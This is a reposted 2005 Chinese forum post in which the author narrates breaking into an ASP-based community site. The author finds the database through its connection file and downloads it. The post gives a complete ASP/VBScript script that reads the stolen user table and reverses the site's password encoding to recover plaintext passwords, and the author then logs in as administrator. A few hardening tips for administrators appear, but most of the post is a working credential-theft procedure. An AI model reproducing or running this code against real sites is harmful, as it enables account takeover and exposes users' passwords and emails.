江湖入侵的方式 (zt)

论坛:IT江湖作者:小金鱼发表时间:2005-01-28 21:02

我们一般攻破了江湖或者论坛这样的asp程序,数据库是我们的首要目标.因此现在的程序想尽办法不让别人得到数据库.这个江湖就是这样,它把数据库改成了.asp结尾的文件,混在一堆asp程序中,很难发现.但没关系,我们只要打开它的连接数据库的asp文件(现在一般都是conn.asp),什么信息都一览无遗了.如果找不到这个asp文件.就随便打开几个asp看看,它开头一般都会有加入连接数据库文件的语句,如"",这个xxx.asp就是数据库连接文件了.
得到了数据库文件名,马上打开ie下载.呵呵.可是发现ie卡在那里不动了.原来iis发现扩展名是asp,就用asp.dll來解释,可它又不是asp,当然不行了.所以这个文件扩展名的好处就再这里.我以前还看过一个论坛把数据库改成.asa放到很深的目录里的.唉,再回去随便改个名,如xxxx.mdb就可以了
所以对于管理员,我就提几个建议.
1.把数据库改名,最好扩展名是.asp或.asa,.htm也行.然后再数据库连接asp文件里改一下就行了.
2.把数据库连接文件名改了.别用conn.asp.但其他所有的asp的连接都要改到新的文件名.
3.随便建一个假的数据库,在做一个假的conn.asp指向假的数据库.最好还做点加密的事情,让黒客走点弯路,浪费一些时间.呵呵.
当然,这只是治标不治本的办法,最终解决办法还是要管好主机和帐户.
数据库下下來之后,我很兴奋的打开它,哇,几千个用户啊.拿几个试试.
嗯?不对,怎么所有的用户密码都是10位的形如j`uc{zjrf~这种乱七八糟的字符,不会所有用户都这么注意网络安全吧.肯定加了密.赶快看看原代码.终于在一个asp里看到了加密算法.这时就遇到了第二个问题.
加密算法源代码和解释如下:
temppass=StrReverse(left(password&"xzcvbmn,./",10)) 密码在password中,不足10位的补足十位
templen=len(password) 获得密码长度.
mmpassword=""
for j=1 to 10
mmpassword=mmpassword+chr(asc(mid(temppass,j,1))-templen+int(j*1.1)) 加密核心
next
password=replace(mmpassword,"","B") 在转化一下.
看到了算法,就好解决多了.下面就是我用asp写的一个asp页面,能够读取数据库并且解密显示出来的.
注意,因为解密算法必须要原始密码的长度,但一般是不知道的.所以我就将密码从3到10位全部解密一次,再从中选.怎么选,后面再说.



<%@ LANGUAGE=VBScript%>
<%
connstr="DBQ="+server.mappath("xxxx.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};" xxxx.mdb就是下载下来的数据库了.
set conn=server.createobject("ADODB.CONNECTION")
conn.open connstr
set rs=server.createobject("adodb.recordset") %>


<%
for id1 = 1 to 4000 做个循环,用id号检索获得帐户,这个4000根据你数据库id的最大限度而定.但也不要太大,iis吃不消,像这里我就只到4000,没到最大.(最大一万多 )
sql="SELECT 姓名,密码,信箱 FROM user WHERE ID="&id1&""
rs.open sql,conn,1,1
if NOT(rs.Eof and rs.Bof) then
pass=rs("密码")
name=rs("姓名")
mail=rs("信箱") 这里根据你数据库的不同填上不同的字段名和表名.
end if
rs.close
if name<>oldname then%> 这是去除重复项的.




<%for j=3 to 10 这就是密码长度设置,你可以设到2到10什么的.
解密过程
templen = pass
oldpass = ""
Int0 = 0
For i = 1 To 10
Str1 = Left(templen, 1)
templen = Right(templen, Len(templen) - 1)
Int1 = Asc(Str1)
If i = 10 Then
Int0 = 11
Else
Int0 = i
End If
Int1 = Int1 + j - Int0
oldpass = oldpass & Chr(Int1)
Next
password = Left(StrReverse(oldpass), j) %>
密码用│隔开
<%Next
oldname=name
end if%>

<%Next%>

<%=id1%> <%=name%> <%=mail%> <%=password%>│

打开iis,用ie在本地试一试,就会看到很多用户了.
这是一个用户密码例子
./0│ /01/│ 01201│ 123123│ 234234y│ 345345z││ 456456{}f│ 567567│~gz│
很明显,这个用户的密码就是123123,其他的也差不多很明显.最多就试两、三次就出来了.
到此,工作结束了,去江湖试一试,哇,我可以用管理员登陆了.爽.
到这时候,就觉得再去破坏也没意思了.没干什么就走了.
对于管理员,我又要建议在程序里加上这个加密代码,加总比不加好吧!
标签: 添加标签

0 / 0

发表回复
 
  • 标题
  • 作者
  • 时间
  • 长度
  • 点击
  • 评价
  •   假的
  • 天涯孤旅 
  • 2005-01-28 21:19
  • 19
  • 486
  • 0/0
  •   贊同
  • majestic 
  • 2005-01-28 23:43
  • 69
  • 400
  • 0/0

京ICP备14028770号-1